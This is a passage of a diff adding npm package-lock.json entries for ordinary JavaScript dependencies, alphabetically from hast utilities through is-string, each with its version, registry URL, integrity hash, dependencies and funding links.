+ "@types/hast": "^3.0.0",
+ "@types/unist": "^3.0.0",
+ "devlop": "^1.0.0",
+ "hastscript": "^9.0.0",
+ "property-information": "^6.0.0",
+ "vfile": "^6.0.0",
+ "vfile-location": "^5.0.0",
+ "web-namespaces": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-heading-rank": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/hast-util-heading-rank/-/hast-util-heading-rank-3.0.0.tgz",
+ "integrity": "sha512-EJKb8oMUXVHcWZTDepnr+WNbfnXKFNf9duMesmr4S8SXTJBJ9M4Yok08pu9vxdJwdlGRhVumk9mEhkEvKGifwA==",
+ "dependencies": {
+ "@types/hast": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-is-element": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/hast-util-is-element/-/hast-util-is-element-3.0.0.tgz",
+ "integrity": "sha512-Val9mnv2IWpLbNPqc/pUem+a7Ipj2aHacCwgNfTiK0vJKl0LF+4Ba4+v1oPHFpf3bLYmreq0/l3Gud9S5OH42g==",
+ "dependencies": {
+ "@types/hast": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-parse-selector": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/hast-util-parse-selector/-/hast-util-parse-selector-4.0.0.tgz",
+ "integrity": "sha512-wkQCkSYoOGCRKERFWcxMVMOcYE2K1AaNLU8DXS9arxnLOUEWbOXKXiJUNzEpqZ3JOKpnha3jkFrumEjVliDe7A==",
+ "dependencies": {
+ "@types/hast": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-raw": {
+ "version": "9.1.0",
+ "resolved": "https://registry.npmjs.org/hast-util-raw/-/hast-util-raw-9.1.0.tgz",
+ "integrity": "sha512-Y8/SBAHkZGoNkpzqqfCldijcuUKh7/su31kEBp67cFY09Wy0mTRgtsLYsiIxMJxlu0f6AA5SUTbDR8K0rxnbUw==",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "@types/unist": "^3.0.0",
+ "@ungap/structured-clone": "^1.0.0",
+ "hast-util-from-parse5": "^8.0.0",
+ "hast-util-to-parse5": "^8.0.0",
+ "html-void-elements": "^3.0.0",
+ "mdast-util-to-hast": "^13.0.0",
+ "parse5": "^7.0.0",
+ "unist-util-position": "^5.0.0",
+ "unist-util-visit": "^5.0.0",
+ "vfile": "^6.0.0",
+ "web-namespaces": "^2.0.0",
+ "zwitch": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-to-estree": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/hast-util-to-estree/-/hast-util-to-estree-3.1.1.tgz",
+ "integrity": "sha512-IWtwwmPskfSmma9RpzCappDUitC8t5jhAynHhc1m2+5trOgsrp7txscUSavc5Ic8PATyAjfrCK1wgtxh2cICVQ==",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "@types/estree-jsx": "^1.0.0",
+ "@types/hast": "^3.0.0",
+ "comma-separated-tokens": "^2.0.0",
+ "devlop": "^1.0.0",
+ "estree-util-attach-comments": "^3.0.0",
+ "estree-util-is-identifier-name": "^3.0.0",
+ "hast-util-whitespace": "^3.0.0",
+ "mdast-util-mdx-expression": "^2.0.0",
+ "mdast-util-mdx-jsx": "^3.0.0",
+ "mdast-util-mdxjs-esm": "^2.0.0",
+ "property-information": "^6.0.0",
+ "space-separated-tokens": "^2.0.0",
+ "style-to-object": "^1.0.0",
+ "unist-util-position": "^5.0.0",
+ "zwitch": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-to-jsx-runtime": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/hast-util-to-jsx-runtime/-/hast-util-to-jsx-runtime-2.3.2.tgz",
+ "integrity": "sha512-1ngXYb+V9UT5h+PxNRa1O1FYguZK/XL+gkeqvp7EdHlB9oHUG0eYRo/vY5inBdcqo3RkPMC58/H94HvkbfGdyg==",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "@types/hast": "^3.0.0",
+ "@types/unist": "^3.0.0",
+ "comma-separated-tokens": "^2.0.0",
+ "devlop": "^1.0.0",
+ "estree-util-is-identifier-name": "^3.0.0",
+ "hast-util-whitespace": "^3.0.0",
+ "mdast-util-mdx-expression": "^2.0.0",
+ "mdast-util-mdx-jsx": "^3.0.0",
+ "mdast-util-mdxjs-esm": "^2.0.0",
+ "property-information": "^6.0.0",
+ "space-separated-tokens": "^2.0.0",
+ "style-to-object": "^1.0.0",
+ "unist-util-position": "^5.0.0",
+ "vfile-message": "^4.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-to-parse5": {
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/hast-util-to-parse5/-/hast-util-to-parse5-8.0.0.tgz",
+ "integrity": "sha512-3KKrV5ZVI8if87DVSi1vDeByYrkGzg4mEfeu4alwgmmIeARiBLKCZS2uw5Gb6nU9x9Yufyj3iudm6i7nl52PFw==",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "comma-separated-tokens": "^2.0.0",
+ "devlop": "^1.0.0",
+ "property-information": "^6.0.0",
+ "space-separated-tokens": "^2.0.0",
+ "web-namespaces": "^2.0.0",
+ "zwitch": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-to-string": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/hast-util-to-string/-/hast-util-to-string-3.0.1.tgz",
+ "integrity": "sha512-XelQVTDWvqcl3axRfI0xSeoVKzyIFPwsAGSLIsKdJKQMXDYJS4WYrBNF/8J7RdhIcFI2BOHgAifggsvsxp/3+A==",
+ "dependencies": {
+ "@types/hast": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-whitespace": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/hast-util-whitespace/-/hast-util-whitespace-3.0.0.tgz",
+ "integrity": "sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==",
+ "dependencies": {
+ "@types/hast": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hastscript": {
+ "version": "9.0.0",
+ "resolved": "https://registry.npmjs.org/hastscript/-/hastscript-9.0.0.tgz",
+ "integrity": "sha512-jzaLBGavEDKHrc5EfFImKN7nZKKBdSLIdGvCwDZ9TfzbF2ffXiov8CKE445L2Z1Ek2t/m4SKQ2j6Ipv7NyUolw==",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "comma-separated-tokens": "^2.0.0",
+ "hast-util-parse-selector": "^4.0.0",
+ "property-information": "^6.0.0",
+ "space-separated-tokens": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/highlight.js": {
+ "version": "10.7.3",
+ "resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-10.7.3.tgz",
+ "integrity": "sha512-tzcUFauisWKNHaRkN4Wjl/ZA07gENAjFl3J/c480dprkGTg5EQstgaNFqBfUqCq54kZRIEcreTsAgF/m2quD7A==",
+ "engines": {
+ "node": "*"
+ }
+ },
+ "node_modules/highlightjs-vue": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/highlightjs-vue/-/highlightjs-vue-1.0.0.tgz",
+ "integrity": "sha512-PDEfEF102G23vHmPhLyPboFCD+BkMGu+GuJe2d9/eH4FsCwvgBpnc9n0pGE+ffKdph38s6foEZiEjdgHdzp+IA=="
+ },
+ "node_modules/html-entities": {
+ "version": "2.5.2",
+ "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.5.2.tgz",
+ "integrity": "sha512-K//PSRMQk4FZ78Kyau+mZurHn3FH0Vwr+H36eE0rPbeYkRRi9YxceYPhuN60UwWorxyKHhqoAJl2OFKa4BVtaA==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/mdevils"
+ },
+ {
+ "type": "patreon",
+ "url": "https://patreon.com/mdevils"
+ }
+ ]
+ },
+ "node_modules/html-url-attributes": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/html-url-attributes/-/html-url-attributes-3.0.1.tgz",
+ "integrity": "sha512-ol6UPyBWqsrO6EJySPz2O7ZSr856WDrEzM5zMqp+FJJLGMW35cLYmmZnl0vztAZxRUoNZJFTCohfjuIJ8I4QBQ==",
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/html-void-elements": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/html-void-elements/-/html-void-elements-3.0.0.tgz",
+ "integrity": "sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/ieee754": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
+ "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ],
+ "license": "BSD-3-Clause"
+ },
+ "node_modules/ignore": {
+ "version": "5.3.2",
+ "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz",
+ "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==",
+ "engines": {
+ "node": ">= 4"
+ }
+ },
+ "node_modules/immutable": {
+ "version": "5.0.3",
+ "resolved": "https://registry.npmjs.org/immutable/-/immutable-5.0.3.tgz",
+ "integrity": "sha512-P8IdPQHq3lA1xVeBRi5VPqUm5HDgKnx0Ru51wZz5mjxHr5n3RWhjIpOFU7ybkUxfB+5IToy+OLaHYDBIWsv+uw==",
+ "peer": true
+ },
+ "node_modules/import-fresh": {
+ "version": "3.3.0",
+ "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz",
+ "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==",
+ "dependencies": {
+ "parent-module": "^1.0.0",
+ "resolve-from": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/imurmurhash": {
+ "version": "0.1.4",
+ "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
+ "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==",
+ "engines": {
+ "node": ">=0.8.19"
+ }
+ },
+ "node_modules/inflight": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
+ "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
+ "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.",
+ "dependencies": {
+ "once": "^1.3.0",
+ "wrappy": "1"
+ }
+ },
+ "node_modules/inherits": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+ "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
+ },
+ "node_modules/inline-style-parser": {
+ "version": "0.2.4",
+ "resolved": "https://registry.npmjs.org/inline-style-parser/-/inline-style-parser-0.2.4.tgz",
+ "integrity": "sha512-0aO8FkhNZlj/ZIbNi7Lxxr12obT7cL1moPfE4tg1LkX7LlLfC6DeX4l2ZEud1ukP9jNQyNnfzQVqwbwmAATY4Q=="
+ },
+ "node_modules/input-otp": {
+ "version": "1.4.1",
+ "resolved": "https://registry.npmjs.org/input-otp/-/input-otp-1.4.1.tgz",
+ "integrity": "sha512-+yvpmKYKHi9jIGngxagY9oWiiblPB7+nEO75F2l2o4vs+6vpPZZmUl4tBNYuTCvQjhvEIbdNeJu70bhfYP2nbw==",
+ "peerDependencies": {
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0.0 || ^19.0.0-rc"
+ }
+ },
+ "node_modules/internal-slot": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.1.0.tgz",
+ "integrity": "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==",
+ "dependencies": {
+ "es-errors": "^1.3.0",
+ "hasown": "^2.0.2",
+ "side-channel": "^1.1.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/internmap": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz",
+ "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==",
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/invariant": {
+ "version": "2.2.4",
+ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz",
+ "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==",
+ "dependencies": {
+ "loose-envify": "^1.0.0"
+ }
+ },
+ "node_modules/invert-kv": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz",
+ "integrity": "sha512-xgs2NH9AE66ucSq4cNG1nhSFghr5l6tdL15Pk+jl46bmmBapgoaY/AacXyaDznAqmGL99TiLSQgO/XazFSKYeQ==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-alphabetical": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-2.0.1.tgz",
+ "integrity": "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/is-alphanumerical": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-2.0.1.tgz",
+ "integrity": "sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==",
+ "dependencies": {
+ "is-alphabetical": "^2.0.0",
+ "is-decimal": "^2.0.0"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/is-array-buffer": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.4.tgz",
+ "integrity": "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw==",
+ "dependencies": {
+ "call-bind": "^1.0.2",
+ "get-intrinsic": "^1.2.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-async-function": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.0.0.tgz",
+ "integrity": "sha512-Y1JXKrfykRJGdlDwdKlLpLyMIiWqWvuSd17TvZk68PLAOGOoF4Xyav1z0Xhoi+gCYjZVeC5SI+hYFOfvXmGRCA==",
+ "dependencies": {
+ "has-tostringtag": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-bigint": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.1.0.tgz",
+ "integrity": "sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==",
+ "dependencies": {
+ "has-bigints": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-binary-path": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
+ "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+ "dependencies": {
+ "binary-extensions": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/is-boolean-object": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.2.1.tgz",
+ "integrity": "sha512-l9qO6eFlUETHtuihLcYOaLKByJ1f+N4kthcU9YjHy3N+B3hWv0y/2Nd0mu/7lTFnRQHTrSdXF50HQ3bl5fEnng==",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "has-tostringtag": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-bun-module": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/is-bun-module/-/is-bun-module-1.3.0.tgz",
+ "integrity": "sha512-DgXeu5UWI0IsMQundYb5UAOzm6G2eVnarJ0byP6Tm55iZNKceD59LNPA2L4VvsScTtHcw0yEkVwSf7PC+QoLSA==",
+ "dependencies": {
+ "semver": "^7.6.3"
+ }
+ },
+ "node_modules/is-callable": {
+ "version": "1.2.7",
+ "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz",
+ "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-core-module": {
+ "version": "2.15.1",
+ "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.15.1.tgz",
+ "integrity": "sha512-z0vtXSwucUJtANQWldhbtbt7BnL0vxiFjIdDLAatwhDYty2bad6s+rijD6Ri4YuYJubLzIJLUidCh09e1djEVQ==",
+ "dependencies": {
+ "hasown": "^2.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-data-view": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-data-view/-/is-data-view-1.0.2.tgz",
+ "integrity": "sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "get-intrinsic": "^1.2.6",
+ "is-typed-array": "^1.1.13"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-date-object": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.1.0.tgz",
+ "integrity": "sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "has-tostringtag": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-decimal": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-2.0.1.tgz",
+ "integrity": "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/is-extglob": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
+ "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-finalizationregistry": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.1.0.tgz",
+ "integrity": "sha512-qfMdqbAQEwBw78ZyReKnlA8ezmPdb9BemzIIip/JkjaZUhitfXDkkr+3QTboW0JrSXT1QWyYShpvnNHGZ4c4yA==",
+ "dependencies": {
+ "call-bind": "^1.0.7"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-fullwidth-code-point": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+ "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/is-generator-function": {
+ "version": "1.0.10",
+ "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.0.10.tgz",
+ "integrity": "sha512-jsEjy9l3yiXEQ+PsXdmBwEPcOxaXWLspKdplFUVI9vq1iZgIekeC0L167qeu86czQaxed3q/Uzuw0swL0irL8A==",
+ "dependencies": {
+ "has-tostringtag": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-glob": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
+ "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
+ "dependencies": {
+ "is-extglob": "^2.1.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-hexadecimal": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-2.0.1.tgz",
+ "integrity": "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/is-map": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.3.tgz",
+ "integrity": "sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-negative-zero": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.3.tgz",
+ "integrity": "sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "engines": {
+ "node": ">=0.12.0"
+ }
+ },
+ "node_modules/is-number-object": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.1.0.tgz",
+ "integrity": "sha512-KVSZV0Dunv9DTPkhXwcZ3Q+tUc9TsaE1ZwX5J2WMvsSGS6Md8TFPun5uwh0yRdrNerI6vf/tbJxqSx4c1ZI1Lw==",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "has-tostringtag": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-path-inside": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz",
+ "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/is-plain-obj": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz",
+ "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==",
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/is-regex": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz",
+ "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "gopd": "^1.2.0",
+ "has-tostringtag": "^1.0.2",
+ "hasown": "^2.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-set": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.3.tgz",
+ "integrity": "sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-shared-array-buffer": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.3.tgz",
+ "integrity": "sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg==",
+ "dependencies": {
+ "call-bind": "^1.0.7"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-string": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.1.0.tgz",
